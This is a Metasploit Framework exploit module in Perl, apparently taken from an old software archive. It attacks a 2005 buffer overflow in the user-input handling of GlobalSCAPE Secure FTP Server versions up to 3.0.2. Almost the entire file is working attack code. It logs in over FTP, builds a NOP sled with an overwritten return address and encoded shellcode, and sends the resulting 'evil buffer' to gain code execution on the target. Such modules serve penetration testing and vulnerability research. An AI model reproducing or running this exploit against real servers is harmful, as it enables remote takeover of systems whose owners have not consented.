home *** CD-ROM | disk | FTP | other *** search
-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::globalscapeftp_user_input;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'GlobalSCAPE Secure FTP Server user input overflow',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' =>
- [
- 'Fairuzan Roslan <riaf [at] mysec.org>',
- 'Mati Aharoni <mati [at] see-security.com>',
- ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 0,
- 'AutoOpts' => { 'EXITFUNC' => 'thread' },
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 21],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- 'USER' => [1, 'DATA', 'Username', 'anonymous'],
- 'PASS' => [1, 'DATA', 'Password', 'metasploit@'],
- },
-
- 'Payload' =>
- {
- 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
- 'Space' => 1000,
- 'BadChars' => "\x00\x20".
- join('', map { $_=chr($_) } (0x61 .. 0x7a)),
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits the buffer overflow found in the user-supplied
- input in GlobalSCAPE Secure FTP Server prior to 3.0.2.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '16049'],
- ['URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
- ['MIL', '22'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['GlobalSCAPE Secure FTP Server <= 3.0.2 Universal', 0x1002f01f ],
- ],
-
- 'Keys' => ['gsftp'],
-
- 'DisclosureDate' => 'May 1 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the NOP module.");
- return;
- }
-
- my $evil = $self->MakeNops(3000);
- substr($evil, 2043, 4, pack("V", $target->[1]));
- substr($evil, 2047, length($shellcode), $shellcode);
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
-
- my $r = $s->Recv(-1, 5);
- if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
- ($r) = $r =~ m/^([^\n\r]+)(\r|\n)/;
- $self->PrintLine("[*] $r");
-
- $self->PrintLine("[*] Login as " .$self->GetVar('USER'). "/" .$self->GetVar('PASS'));
- $s->Send("USER ".$self->GetVar('USER')."\r\n");
- $r = $s->Recv(-1, 10);
- if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
-
- $s->Send("PASS ".$self->GetVar('PASS')."\r\n");
- $r = $s->Recv(-1, 10);
- if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
-
- $self->PrintLine("[*] Sending evil buffer....");
- $s->Send("$evil\r\n");
- $r = $s->Recv(-1, 5);
- if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
- return;
- }
-
-